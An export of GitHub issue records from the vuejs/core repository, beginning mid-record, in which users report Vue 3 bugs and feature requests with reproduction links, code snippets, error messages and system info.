_No response_",,2025-10-10T02:44:40Z,2025-10-10T06:11:42Z,2
vuejs/core,3499580495,"In Vue 3, shadow components cannot be named using all capital letters. They can only be recognized as shadow components when they are named in kebab-case.","### Vue version

lastest

### Link to minimal reproduction

-

### Steps to reproduce

✅
```
  <cropper-canvas ref=""croppercanvas"" background />
```

<img width=""1270"" height=""362"" alt=""Image"" src=""https://github.com/user-attachments/assets/f5fd6d6d-df20-4c90-9960-c1078fc2689b"" />

❌

```
  <CropperCanvas ref=""croppercanvas"" background />
```

<img width=""1357"" height=""503"" alt=""Image"" src=""https://github.com/user-attachments/assets/2e8b4dde-7530-4e35-a83f-1eed47418028"" />

### What is expected?

fix

### What is actually happening?

-

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-10-09T15:12:54Z,2025-10-10T01:11:45Z,1
vuejs/core,3489541847,v-model tsx Types,"### Vue version

^3.5.22

### Link to minimal reproduction

-

### Steps to reproduce

1. Define props with tsx:
```javascript
export default defineComponent({
  props: {
    modelValue: {
      type: Boolean,
      required: true,
    },
  },
  emits: {
    'update:modelValue': (v: boolean) => true,
  },
```
2. use the defined modelValue with v-model with tsx
```<Component v-model={}/>```

### What is expected?

To not throw typing errors, since VModel is defined.

### What is actually happening?

```typescript
Type '{ ref: Ref<CreateComponentPublicInstanceWithMixins<...>> | undefined, CreateComponentPublicInstanceWithMixins<...> | undefined }' 
is not assignable to type 'IntrinsicAttributes & Partial<{}> & Omit<{
  readonly modelValue: boolean;
  readonly ""onUpdate:modelValue""?: ((v: boolean) => any) | undefined;
  readonly onSubmit?: ((code: string) => any) | undefined;
} & VNodeProps & AllowedComponentProps & ComponentCustomProps, DefaultKeys<...>>'.

Property 'modelValue' is missing in type '{ ref: Ref<CreateComponentPublicInstanceWithMixins<...>> | undefined, CreateComponentPublicInstanceWithMixins<...> | undefined }' 
but required in type 'Omit<{
  readonly modelValue: boolean;
  readonly ""onUpdate:modelValue""?: ((v: boolean) => any) | undefined;
  readonly onSubmit?: ((code: string) => any) | undefined;
} & VNodeProps & AllowedComponentProps & ComponentCustomProps, DefaultKeys<...>>'.
```

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-10-07T00:28:23Z,2025-10-09T01:27:02Z,1
vuejs/core,3483373405,get ref error when use dynamic component by defineAsyncComponent,"### Vue version

3.5

### Link to minimal reproduction

null

### Steps to reproduce

[Vue warn]: Missing ref owner context. ref cannot be used on hoisted vnodes. A vnode with ref must be created inside the render function. 

### What is expected?

null

### What is actually happening?

null

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-10-04T07:54:52Z,2025-10-04T08:59:57Z,1
vuejs/core,3477410318,DOM not updating when using number modifier,"### Vue version

3.5.22

### Link to minimal reproduction

[Playground](https://play.vuejs.org/#eNp9UctOwzAQ/JWVLwUJEqmFS5VWAtQDHAAB4mQJhWQbXBzb8iMURfl31g4tPaDe1juzs7Pjnl0Zk3UB2ZwVHlsjS49LrgCKWnSpoFIoEzx0562uUWYqtO9oF5x1pQzIGeTjQD5OpNosE/c1MubQ95C4MAxFbohT5Ae76OkqK4wHhz4YkKVqSN07zggVrdHWQw8W1zDA2uoWJmR4EgcrrRwZS9qLyDiZTE6j/Cj4K+6/JYKrtMF6SVB8EsLOaAUJrEWTbZxWlEAfvXNW6dYIifbBeEELOKMLxiQ4K6XUX3ep523As12/+sDq85/+xm1jj7NHiw5tR3ntMV/aBv0Ir57vcUv1HqT8giT2EfAJnZYhehxp10HVZPuAl9zepgSFal7cautRud1R0WhkDolP/xnw5sjpf3Zn2UWa42qgFN86tFGTApxll9l0yoYfL/3GIg==)

### Steps to reproduce

1. Enter `1a` in the input field

2. Notice that `modelValue` has been updated

3. Blur the input or press Enter

### What is expected?

Like the trim modifier, update the input value when the change event is triggered.

### What is actually happening?

Data and view are out of sync

### System Info

```shell
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
```

### Any additional comments?

In vue2 it works as expected.

[Vue2 Playground](https://vue2-sfc-playground.vercel.app/#eNo9T81OwzAMfhUrl4LEGoljlSF4CU6+lC6DQpNYidNLlHfHSbfdPuv7dVEfROOerZqUSUtciSFZzvSGfnUUIkOBaK9Q4RqDg0GkA3r0S/CJYZ+3bOHcFE/D8Ize6CNE7HKwdbTNbOUCMJd170Dg6imL++TCxW6jz+7LxjOqHocKdLMzcrd0zWdjJiilS2o1+p52R0Y/2tSLOraf3EzjbwpevitNjDcioZKwY4zUttJJwA8zpUnr7Onve1yC00K9v0pD4gZHm5zkoWrOir6q+g8XrG5p)","scope: v-model,:hammer: p3-minor-bug",2025-10-02T12:50:48Z,2025-11-05T09:11:36Z,0
vuejs/core,3475287410,[custom-element] Crash in _renderSlots when Teleport target is ancestor of custom element host (shadowRoot: false),"### Vue version

3.5.22

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ycis7iro?file=src%2FApp.vue

### Steps to reproduce

Steps to reproduce

1. Use defineCustomElement to create a custom element with shadowRoot: false.

2. Inside its template, include a <Teleport to=""body"">…</Teleport>.

3. Mount the custom element so that the body contains the custom element host.

4. Open the page and observe console.

### What is expected?

Teleport should work reliably even if its to target is an ancestor of the custom element host. The custom element should correctly render its slotted content without errors.

### What is actually happening?

vue.js:11802 Uncaught TypeError: Cannot read properties of null (reading 'insertBefore')
    at VueCustomElement._renderSlots (vue.js:11802:18)
    at callWithErrorHandling (vue.js:2296:19)
    at callWithAsyncErrorHandling (vue.js:2303:17)
    at invokeVNodeHook (vue.js:9916:3)
    at vue.js:7537:19
    at flushPostFlushCbs (vue.js:2481:28)
    at render2 (vue.js:8196:7)
    at mount (vue.js:6117:13)
    at app.mount (vue.js:12387:19)
    at VueCustomElement._mount (vue.js:11610:15)

### System Info

```shell

```

### Any additional comments?

https://github.com/vuejs/core/pull/13900",":hammer: p3-minor-bug,scope: custom elements",2025-10-01T22:02:54Z,2025-11-05T09:04:34Z,0
vuejs/core,3467359862,"when the first args is pure element and children is an array, h function not work","### Vue version

v3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kkFr3DAQhf/KRBfvgr2mtKetd6EtgbaHNiSBHKIcjD27q0QeCUneLBj/94xknISQ5GTNvG/Ee2MN4oe1q2OPYi0q3zhlA3gMvd1KUp01LsAADnc5tLhThL8MNwkp5HCAEXbOdJDxeCZJUmPIB+j8HjZxZpH9Rq0N3Bin27NsGZEZivcw9ebSxSAJeJRadIslpCrWoXcEh0XWqmOWs6FG196vIZvIDMYcGN9s4XaagAh7W1OkWZzObCBKd+k7ShqX3yVV5ZSa83IRsLO6DsgVQHVWFFAdvmyHIYUax6rkKkmKbB/gWHSmRb2RgnUpoNxCUUxACljyuSpfXSpyETxvYKf2q3tviLeeQkrRMK80uv82KN6QFOs5vhQ1b/Hxb+oF12M+95sDNg/v9O/9KfakuHDo0R1Rimct1G6PYZLPr/7hic/PIqfpNdOfiJfoje6jxwn72VPLtl9xye2f9HYU7a/9+Skg+TlUNJr2n3gp+O3EVX0U/cXu19W3+b+J8QnUmuCh

### Steps to reproduce

when the first args is pure element and children is an array, h function not work

### What is expected?

expecting `span` to be rendered, but it doesn't work.

### What is actually happening?

not render `span`

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-09-30T03:17:24Z,2025-09-30T09:33:24Z,2
vuejs/core,3465836288,Safari/Firefox Picture img source download twice,"### Vue version

3.5.21

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-w4e7d18g?file=vite.config.js,src%2Fmain.js,index.html&terminal=dev

### Steps to reproduce

1. configure the build to use the `bundler` version
```js
  resolve: {
    alias: {
      vue: ""vue/dist/vue.esm-bundler.js"",
    },
  },
```
2. Use this template in the HTML file
```html
    <div id=""app"">
      <picture>
        <source
          media=""(min-width: 800px)""
          srcset=""https://placehold.co/800x400/4CAF50/red?text=Desktop+Image""
        />
        <source
          media=""(min-width: 400px)""
          srcset=""https://placehold.co/600x300/2196F3/yellow?text=Tablet+Image""
        />
        <img
          src=""https://placehold.co/300x200/FF9800/white?text=Img+SRC""
          alt=""Responsive sample image""
        />
      </picture>
    </div>
```
3. Mount the app template with Vue
```ts
import { createApp } from 'vue'
createApp().mount('#app')
```

4. Launch on Safari in a resolution so it shows the image for desktop/tablet
5. Inspect the network panel from devtools

### What is expected?

- It should download only the correct source and not download image from `<img src>` in addition.

### What is actually happening?

- The image from `<img src>` is downloaded in addition of the image from `<source srcset>`.
- This seem to happen only with in-DOM template
- I believe this happen when the in-DOM template is transformed into shadow DOM. An `Image` class might be create... [TRUNCATED]",,2025-09-29T16:57:50Z,2025-10-04T00:45:14Z,1
vuejs/core,3465138376,'sandbox' attribute is not removed when bound to a nullish value,"### Version
3.5.22

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#__PROD__eNp9Ud1KwzAUfpVyrkcHm96UOlDZhV6oqJcBie1ZzUyTkJ9aGX13T1JWq4zdJd9fvnNygGtj8i4gFFB6bI3kHjdMZVlZiy4rHFf1u+6vGKggJQNC/LfE2b2S3LnpvimX5BsDxM7yFk9l/PX8z6SM0Uox5XJWChbgXaXVTjT53mlFnQ/xJQaVbo2QaB+NF1o5BkWWmMhxKfXXfcK8Dbg44tUHVp8n8L3rI8bgyaJD2yGDifPcNuhHevvygD2dJ7LVdZCkPkM+o9MyxI6j7CaommrPdKntXWu09UI1r27be1TuOFQsGpVD0jOgj7s9M/pv3XV+kXxMDbTFtw5tzKQFrvPLfLWC4QcuZ6pL)







### Steps to reproduce
Run the reproduction and confirm the presence of `sandbox` attribute in the iframe element.

### What is expected?
According to the Vue docs, the `sandbox` attribute shouldn't be present - the sandbox restrictions shouldn't be applied.
This behavior is observable in Vue 2 in this example:
https://codepen.io/tomasz-pucka/pen/gbPrzoV

### What is actually happening?
`sandbox` attribute is set to 'null' string resulting in console errors. Setting it to an empty string applies the most restrictive sandbox mode.

<!-- generated by vue-issues. DO NOT REMOVE -->",:hammer: p3-minor-bug,2025-09-29T13:52:26Z,2025-11-05T08:53:59Z,0
vuejs/core,3455949986,v-bind's same-name shorthand fails (causes crash) in in-DOM templates,"### Vue version

3.5.22

### Link to minimal reproduction

https://gist.github.com/syimyuzya/05412cc74587b2b31f935c9db9c0ee8a

### Steps to reproduce

Open the reproduction example HTML file in a browser, no build process needed.

### What is expected?

A page showing the following text:

```
Fail #1: param is orz

Pass #1: param is orz

Pass #2: param is orz
```

### What is actually happening?

Got a TypeError: can't access property ""type"", value is undefined

### System Info

```shell
System:
    OS: Linux 6.16 Arch Linux
    CPU: (8) x64 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz
    Memory: 6.68 GB / 15.35 GB
    Container: Yes
    Shell: 5.9 - /usr/bin/zsh
  Binaries:
    Node: 24.8.0 - /usr/bin/node
    Yarn: 1.22.22 - ~/.local/bin/yarn
    npm: 11.6.0 - /usr/bin/npm
    pnpm: 9.4.0 - ~/.local/bin/pnpm
    bun: 1.2.14 - ~/.bun/bin/bun
```

### Any additional comments?

The problem only occurs in in-DOM templates. SFCs and `<script type=""text/x-template"">` is unaffected and work just fine.","has workaround,:hammer: p3-minor-bug,regression",2025-09-26T06:19:12Z,2025-11-05T08:51:30Z,1
vuejs/core,3446812897,Dependency Injection inheritance fails when provided after grandchildren are rendered.,"### Vue version

Commit b555f02, latest in main branch.

### Link to minimal reproduction

https://play.vuejs.org/#eNrlVU2P2jAQ/SuWVYkgRYkWONGA2m330Er90La9+ULDAIbEjvzBUiH+e8c2ScmKROpq20N7i2eex8/vPStH+rqqkr0FOqWZzhWvDNFgbDVngpeVVIYcSaXkni+BnMhKyZIMED5o2m9kWd2cG0nqV27e4CUTTJx3Rozu4AejMWHUI8+HMjp0qJUVueFSEAUrBXoT5ThlSI5MEOI+kxcrqXL4Vi0XBqIhTj65bVkaCCNVXBgoqwL7uCIkC6ymhpcwY/Qt1hMhH6Iho/MskAy479YYPPhVXvB8h8iagdlw7cD3YZ2lAYibsvTiJBpTo3MpVnydbLUUqKJnzajjzQtQnyp3M83oNNzH9RZFIR/e+5pRFuK6nm8g312pb/XB1Rj9jFxA7VG3pmcWag0mtO++fIQDfjfNUi5tgeie5j1oWVjHMcBurVgi7QucZ/vOm83F+qu+OxgQur6UI+qQJ49nFF118nZd/RfdcTLx+9BMVLHJTXcOHWTUCtrIB+0iqOheTLjYQm7iOrUxkeIWMEDwQVqB9XoZ4tQKNSYLzdSGYGdBZm5eJGxRuMh1h7nhjnH2wNaBUTQks3lQwI1N9ovCAg4PPOtpPtX+NbT5/eb2vjex5Hv/QTxjcoO2HMNNT+iCq/tnM7r6bEgahqRhyuNX0NjR79+45d/47/r3p2zpy4XXJIx5bv9GHf6Nn+qft6Pfv0nLv8m/4d/z2jLusGXyVFu8yn2/55bq/5fYk8diXxfy9BPP2P6K

### Steps to reproduce

Create 4 components, each a child of the other.
App -> 1 -> 2 -> 3 -> 4

App and Component 1 each provides a unique value for the key ""test"" on first render. When Component 2 is re-rendered provide a unique value for the key ""test"".

### What is expected?

It should be expected that Component 4 inherits the new provided value of Component 2, but instead only Component 3 inherits.

### What is actually happening?

When provide() is called, it creates a new Object with the prototype of the previous parent's providers, however when this is done in overlap like it is here, it skips one.

First Render... [TRUNCATED]","has workaround,:hammer: p3-minor-bug,need discussion",2025-09-23T22:15:40Z,2025-11-24T06:54:13Z,7
vuejs/core,3446120607,"When a component is exposed inside an object property, like in the Compound Component pattern, the component is not rendered when built","### Vue version

3.5.18

### Link to minimal reproduction

https://github.com/MakhBeth/vue-vite-compound-component-issue/tree/main

### Steps to reproduce

1. Run the app in the development environment with `npm run dev` — everything works as expected.
2. Build the app with `npm run build`.
3. Launch the built app from the dist folder using `npm run start`.
4. Observe that the component passed as an object property is not rendered.

### What is expected?

Same output between dev environment and production: the component should be rendered when passed as an object property via props.

### What is actually happening?

In build env, instead of having the component rendered, you will have an empty html tag.

### System Info

```shell

```

### Any additional comments?

I'm developing a Vue library based on Tanstack Query. Our library enriches the `form` object, with some components, like `Input`, `Errors`, etc, that help manage the form. 
Everything works fine in dev environment, but when we build, all the `<form.Input />` tags are transformed in simple html tags like `<form.input></form.input>`","scope: sfc,:hammer: p3-minor-bug",2025-09-23T17:33:26Z,2025-09-24T09:03:48Z,2
vuejs/core,3444544659,callWithErrorHandling masks the actual error,"### Vue version

3.5.21

### Link to minimal reproduction

https://play.vuejs.org/#eNqtVE1P3DAQ/SuWL5uVVqmq9pQCEgsctlILanurOZhksnhxbMuewKIo/51xks3mEOAAPiT2fDy/eR674efOpY818IyfhNwrhywA1u5MGFU565E1zEO5epKY37OWld5WbEEJC2GEya0JyJy3LrBTVkCpDNzEVdIIw2iocAkolc7YYIgDnx1kbG2tBmlWRzvly1pjxkqpAwyOdvgXqgITlDWXEuUM3Ln38nkOLFmy0zP2//Y1vGuH9A2fAFnZAvRaBtiY0s7gXd/tIMfXAZsD0OEPhcJfBPpx9aSc0+w9QknTLidA7fJHPPSuFZLe3Md1DZDSHkPwUM4RN/YJ8U213Q6Jh7EYcxcTHnGMjjS3OqSl0gg+SRRC1cHHSTqe4oU1pdpuiuURJLKdatBQeeAyhr6GFVNVRfJKJBmigbXCxISTL/0toP6nBW3hNMXQijSDgF9jxMTKVxwDVUd7p7tgDV2jrmzBc1s5pcEP7SX4qL/gUmv79LOzdWQO9vwe8ocZ+y7so03wGw8B/CMIPvpQ+i1g7776+xv2NB+d1JG1pug3nH+ATqaOHPuwdW0Koj2J69huusdAme2/cLXHXvORaIzsVRacnoaLN0o/0v2Wfu/yqK94+wI9E2Gx

### Steps to reproduce

**In the local  dev environment**

const props = defineProps({
    aaa: {
        type: Object,
        default: () => ({}),
    },
});

watch(
    () => props.aaa,
    () => {
        console.log(
            'props.aaa',
            props.aaa.cols.filter((item: any) => item.dimensionConfigId)
        );
    },
    { deep: true, immediate: true }
);

### What is expected?

<img width=""611"" height=""82"" alt=""Image"" src=""https://github.com/user-attachments/assets/05a3aebd-b290-4f86-b159-9db6f6176a86"" />
I hope to report a real js error

### What is actually happening?

<img width=""545"" height=""15"" alt=""Image"" src=""https://github.com/user-attachments/assets/4a0f90fd-ddd5-4621-b773-2ec63ad0ac15"" />

### System Info

```shell

```

### Any additional com... [TRUNCATED]",,2025-09-23T09:58:01Z,2025-09-24T02:00:45Z,1
vuejs/core,3428402044,[custom-element] native slots attributes not responding to reactivity,"### Vue version

3.5.21

### Link to minimal reproduction

https://play.vuejs.org/#eNqNU01v2zAM/SucDnUKpPZhO3luujVIgQ5YW2w96uLIjONWlgxLzgcC//dRUp14WFb0JIl8Ih/JxwP73jTxpkOWssyItmosGLRdM+OqqhvdWjhAi6spFLiqFM47Y3W9kFijstDDqtU1RPQ/OuJ/7ue6bt48cRKeWhE+FuhSRV+54kqMI5k4hJ9E9f5KDPjobNZJiHh5GcJoZSzkRTGXuTFw7chObNuhc2dJKImKoYfFupG5RXoBZONEkA4BvA/gHvIactjiEk6gbWXXZBQ+kVZQ7yETusBZkyX+hFwVbyYjtR2sGHjHcNvZ6enXGQgUGo2KLBVhKGkBVtM1F7baIIh1rko0sWefjOn78sjohubYh1ZUBg6HU2duIHp8iCCl4+4ugr4Pcdwff1t21lJR34SsxOs1Z6OWfhrunM2edVlKDCmyJHyiEFky6i6bMmtoMKuqjF+MVqStg8vBmaNcSWwfG1vR4DhLwXucL5dSb394m5vfdLCLNYrXM/YXs3M2zp6oW9hukLOjz+ZtiTa4F78fcEf3o7PWRScJ/Y7zFxotO8cxwG47VRDtEc6zvfeKr1T5bBY7i8oMRTmiDtl7PGekeqfZ/5V+ovs5/uL/cdVTF//dndGaSpIDzclSqOPKchUW5qnVjclO079JYam1xFxBP5u41aC0765HA6kX+lgJFxcQ0QOLK++KSA6hgsxp+WMfKCdhQw4vvr+V0/8Bk+GLUQ==

### Steps to reproduce

1. Open DevTools and expand the shadow root of `my-component`
2. Notice that the `'added-class'` is applied to both the `p` and `slot` elements
3. Click the button to toggle the classname off through the update of a property on `my-component`
4. Notice that the `'added-class'` is removed from the `p` element but not the `slot` element

### What is expected?

The `slot` element should have the classname remove from it after the button is clicked in step 3.

### What is actually happening?

The `slot` element is not updating its attributes in response to reactivity.

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (14) arm64 Apple M4 Pro... [TRUNCATED]","has workaround,:hammer: p3-minor-bug,scope: custom elements",2025-09-18T02:29:17Z,2025-09-24T09:08:26Z,1
vuejs/core,3427614644,`Array.prototype.push` mutates readonly arrays created with `ref([])`,"### Vue version

3.5.18

### Link to minimal reproduction

https://github.com/arfedulov/vue-reactive-push-reproduce

### Steps to reproduce

- Clone the repository.
- Run dev server.
```
npm i
npm run dev
```
- Look at ""example with ref()"".
- Click (1) button
- See that item was added (that's correct)
- Click (2) button
- See that item was added and there is no warnings (that's incorrect, because the array is readonly)
- Click (3) button
- See that item was not added and there is a warning in console ""Set operation on key ""items"" failed: target is readonly"" (that's correct)



### What is expected?

The array always stays immutable when wrapped in `readonly()`.

### What is actually happening?

An object wrapped in `readonly()` stays mutable by `Array.prototype.push()` call on its property.

### System Info

```shell
System:
    OS: Linux 6.14 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (24) x64 13th Gen Intel(R) Core(TM) i7-13700KF
    Memory: 21.78 GB / 31.16 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 22.14.0 - ~/.nvm/versions/node/v22.14.0/bin/node
    npm: 10.9.2 - ~/.nvm/versions/node/v22.14.0/bin/npm
  Browsers:
    Chrome: 140.0.7339.127
  npmPackages:
    vue: ^3.5.18 => 3.5.21
```

### Any additional comments?

This is only the case when we create object like this `readonly({ myArray: ref([]) })`. There is no problem if we create object
like this `readonly(reactive({ myArray: [] }))`, as you can see in ""example with reactive(... [TRUNCATED]","scope: reactivity,:hammer: p3-minor-bug",2025-09-17T19:51:46Z,2025-09-24T09:10:51Z,0
vuejs/core,3425134197,Incorrect runtime prop type inference when using `Prettify`,"### Vue version

3.5.15-3.5.16, 3.5.19-3.5.21

### Link to minimal reproduction

https://play.vuejs.org/#eNqNU8Fu2zAM/RXBKOYNaC0MXS+ZG6AbetgKbMGaW12sjk07amRJkOgsget/HyUvbtYUQW8U+Ug+PpFddGVMsm4hmkSpK6wwyGSu6sssQpdFzAG2Zpop0Rhtkc21ligMq6xuWJzwf29fIM5UyocKhKcHQmNkjkAvxtJdJrkKaEAhdVhoRN1QF06YlO8lRKfUvtCqEnXy6LQidp0vk0WFboyQYH8aFFoRxQkLER/LpdR/vgcf2hZOd/5iCcXqFf+j23hfFs0sOLBryKIxhrmtAYfw9e0P2JA9BhtdtpLQR4K/wGnZeo4D7EurSqK9hwtsvwVdharn7nqDoNxuKE/UI/uAzyJS+OuR0Z/pniefQl6meq/i1oBL0JGAnLMlonETzmuBy3aRkJa8kjr3/c9a8Z+9kHrBm9whWG7yYpXX4DjNIx13tuBClbChuv6nfQ9GEiKKapvOp+xyx+vuhgnFVrDVFZvfT9j87ub+MxFj71jXk5Ep2IS9CiWupKiVXw0qEDuaCGP2xGJQZXyAvRUleBhqE0BW1MsBPixVMCVUeJga2kA52y0ilXk46XzB/uykG0n0DweZ+ynjvIHJ00HVKWWT/nsH8rYLC426vVb9eGzhL+nMMtK+EgpmVhuXBqnHq5o8Z5LO0/cfjl9lKdbBINNJjeEQyeaD/+VJ/l6D9QtKk5wnF8nHi6j/C3TWc8k=

### Steps to reproduce

1. Open the reproduction link
2. Check the developer console
3. You will see the runtime prop validation warning:

```
Invalid prop: type check failed for prop ""placement"". Expected Object, got String with value ""bottom"".
```

### What is expected?

There should be no prop validation warning.

### What is actually happening?

Before version 3.5.15, the runtime type was inferred as `null` when using a complex type like [`Prettify`](https://www.totaltypescript.com/concepts/the-prettify-helper). Now, it is inferred as `Object`, which doesn’t seem correct for runtime type checking in this case.

### System Info

```shell

```

### Any additional comments?

This... [TRUNCATED]","scope: sfc,:hammer: p3-minor-bug",2025-09-17T07:56:49Z,2025-09-18T13:58:12Z,1
vuejs/core,3422587038,[custom-element] Slots outside Teleport not rendered when using shadowRoot: false (regression from #11851),"### Vue version

Vue 3.5.5+ (regression introduced by PR #11861 that closed issue #11851)

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ycis7iro?file=src%2FApp.vue,src%2Fcomponents%2FWidget.vue&terminal=dev

### Steps to reproduce

1. Build the component above as a custom element with shadowRoot: false.
2. Mount it in a page with both headerContent and bodyContent slots.
3. Observe the rendered DOM.

### What is expected?

- Both headerContent (outside Teleport) and bodyContent (inside Teleport) should render.
- The slot collection should check both the host root and the teleport target.

### What is actually happening?

When the component is built as a custom element with shadowRoot: false, only the slots inside the Teleport are rendered. Any slots defined outside the Teleport (e.g. headerContent) are ignored, so their projected content never appears in the DOM.

Root cause: in apiCustomElement.ts, slots are collected via:
`const outlets = (this._teleportTarget || this).querySelectorAll('slot')`

### System Info

```shell

```

### Any additional comments?

_No response_",":hammer: p3-minor-bug,scope: custom elements",2025-09-16T14:39:44Z,2025-09-24T09:15:38Z,0
vuejs/core,3422521075,ECharts Tooltip 不显示问题 - Vue Ref vs 普通变量,"### Vue version

3.5.21

### Link to minimal reproduction

https://github.com/trry-hub/issues/tree/echarts

### Steps to reproduce

## 问题描述

在 Vue 3 + ECharts 项目中，当使用 Vue 的 `ref()` 来存储 ECharts 实例时，图表的 tooltip 无法正常显示。但使用普通变量存储 ECharts 实例时，tooltip 可以正常工作。



### What is expected?

两种方法都应该能够正常显示 tooltip，当鼠标悬停在图表上时应该显示相应的数据信息。

### What is actually happening?

## 环境信息

- **Vue 版本**: 3.5.21
- **ECharts 版本**: 6.0.0
- **TypeScript 版本**: 5.9.2
- **构建工具**: Vite 7.1.5

## 复现步骤

### 方法一：使用普通变量（tooltip 正常工作）

```typescript
let chartInstance: null | echarts.ECharts = null
const chartDom = ref()

async function renderChart() {
  if (!chartInstance) {
    chartInstance = echarts.init(chartDom.value)
  }
  chartInstance.setOption(option)
}
```

### 方法二：使用 Vue ref（tooltip 不工作）

```typescript
const chartInstanceVueRef = ref()
const chartDomUseRef = ref()

async function renderChartUseRef() {
  if (!chartInstanceVueRef.value) {
    chartInstanceVueRef.value = echarts.init(chartDomUseRef.value)
  }
  chartInstanceVueRef.value.setOption(option)
}
```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (8) arm64 Apple M1
    Memory: 94.39 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.19.0 - ~/.volta/tools/image/node/22.19.0/bin/node
    npm: 10.9.3 - ~/.volta/tools/image/node/22.19.0/bin/npm
    pnpm: 10.15.1 - ~/.volta/bin/pnpm
  Browsers:
    Chrome: 140.0.7339.133
    Safari: 18.6
```

### Any additional comments?

## 实际行为

- **方法一（普通变量）**: tooltip 正常显示 ✅
- **方法二... [TRUNCATED]",,2025-09-16T14:22:46Z,2025-09-17T05:56:12Z,0
vuejs/core,3409002622,Errors/Rejections from a Promise in setup are not captured by onErrorCaptured or errorHandler,"### Vue version

3.5.18

### Link to minimal reproduction

https://play.vuejs.org/#eNqVk99r2zAQx/+VQy92abAD3VOXFLYSWAfbSlfYi16CfUmUyZLRjyTD+H/fSXLjrDRhfQiR7r4nfXz3Vcc+tW2x88hu2cxWRrQOLDrf3nElmlYbB19QSv1LG1nDyugGsqIcQ6E0O0o7rRbGaHO/bJ03WPepgjNScfaRK65eKfIcjbmC+R10XAFUWlktsZB6nWcPCga47Op1MlRx1dNvViZsAqaNw6aVS4e0A5iNnCUFZuVJlrbW/ZEIttIt1ilSxhCt2YQ5SqiVWBdbqxV1J/JxVummFRLNj9YJ4uHsNpGH3JJu23+NMWc8Tl7i1Qar32/Et/YQYpw9GrRodtSjY84tzRpdSi9+fscDrY/JRtdekvpC8gmpVz4wJtlnr2rCPtFF2oc4OKHWz3ZxcKjsy0cF0KDsoz5O8P7Cp4+4N8WHWEfToS7+65TzJiPnfNNeOawnYHA1GCdL7gqDdzR+ysM8pPMpDZ4rhXt4JJ2wmOfUQi13GMq3WLnRU3TTs2hQe5fnYzTYic4rdkvpEa6vUyzV5tlT/MfB8Zt9MmA/gZvpNNwdjBe8PDCfHvx/UOex3gY7h+ZVkxAS4SkjrY+kbmP0PqLF15dntTB0CtAz0gaESuMIZ1x+ULXYgajnwdJC1pzFKEDXDdPpaewkK0n3ngfH+r/BgIbA

### Steps to reproduce

### main.js
```
import { createApp } from 'vue'
import './style.css'
import App from './App.vue'

const app = createApp(App)
app.config.errorHandler = (err, ins, info) => {
    console.log('In global error handler')
    console.log(err)
}

app.mount('#app')
```

### App.vue
```
<script setup>
import HelloWorld from './components/HelloWorld.vue'
import {onErrorCaptured} from ""vue"";

onErrorCaptured((err) => {
  console.log('In App.vue')
  console.log(err)
})
</script>

<template>
  <HelloWorld/>
</template>
```

### HelloWorld.vue
```
<script setup>
import {ref} from 'vue'
const count = ref(0)

new Promise((resolve, reject) => {
  setTimeout(() => {
    count.value ++
    reject('Rejected from hw')
  }, 3000)
}... [TRUNCATED]",,2025-09-12T06:01:17Z,2025-09-12T08:01:16Z,2
vuejs/core,3408499152,加载 远程组件后 __scopedId 不会在dom 上生成  data-v-属性,"### Vue version

3.5.18

### Link to minimal reproduction

sorry

### Steps to reproduce

project A:

main.ts

```
import Comp from '../src/lib-components/index'

export const Components = Comp;
export default {Components}
export const componentNames = Object.keys(Components)
```
/src/lib-components/index.ts

```
const UserQuery = () => import('./UserQueryComp.vue')
const UserDept = () => import('./UserDeptComp.vue')
export default  {
  UserQuery,
  UserDept,
}

```

project B:

```
  import( /* @vite-ignore */`http:${entry}/${conf.libEntry}`).then(async (module: any) => {
    console.log(module)
    let rawComponent = await module.Components.UserDept()
    rawComponent = rawComponent.default
    // DyComp.value = defineAsyncComponent(() =>Promise.resolve(rawComponent))
    const __scopeId = rawComponent.__scopeId || rawComponent.options?.__scopeId;

    DyComp.value = defineAsyncComponent(() =>
        Promise.resolve(rawComponent)
    )
    DyComp.value.__scopeId = __scopeId  // 我必须重新设置 scopeId 才能保证页面上有这data-v属性
    console.log(DyComp)
  })
```

但是这种情况不会发生在 Project B 中的异步组件上。

### What is expected?

不需要重新设置一些属性，可以像本工程中的组件一样使用

### What is actually happening?

scope 样式丢失

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-09-12T01:19:58Z,2025-09-12T07:37:54Z,0
vuejs/core,3405039634,Cannot correctly override onClick in v-bind,"### Vue version

3.5.13

### Link to minimal reproduction

https://cn.vuejs.org/

### Steps to reproduce

```vue
<script setup>
const { locale, t } = useI18n();

const items = [
    {
        title: 'change language',
        props: {
           onClick: () => (locale.value = locale.value === 'zh-CN' ? 'en-US' : 'zh-CN'),
        },
        disabled: true,
   },
]

const onClick = (e, item) => {
  if (item.disabled) return;

  item.onClick?.(e);

  if (item.children) {
    toggleExpand(item);
  }
};
</script>

<template>
<div
        v-for=""(item, i) in items""
        :key=""i""
        v-bind=""item.props""
        v-on:click=""(e) => onClick(e, item)""
      >
</div>
</template>
```

### What is expected?

The item's onclick should be blocked from being triggered because it's disabled.

### What is actually happening?

item.onclick is still triggered.


### System Info

```shell

```

### Any additional comments?

_No response_",,2025-09-11T06:40:40Z,2025-09-11T08:55:43Z,1
vuejs/core,3397534874,Declaring `defineModel` as shallow ref,"### Vue version

latest

### Link to minimal reproduction

n/a

### Steps to reproduce

n/a

### What is expected?

Ability to declare `defineModel` as a shallow ref, e.g. via `shallow: true` option

### What is actually happening?

There is no way (as of my current knowledge) to declare `defineModel<Files[]>()` so that it is a shallow ref array. Otherwise, deep ref breaks reactivity for files.

### System Info

```shell

```

### Any additional comments?

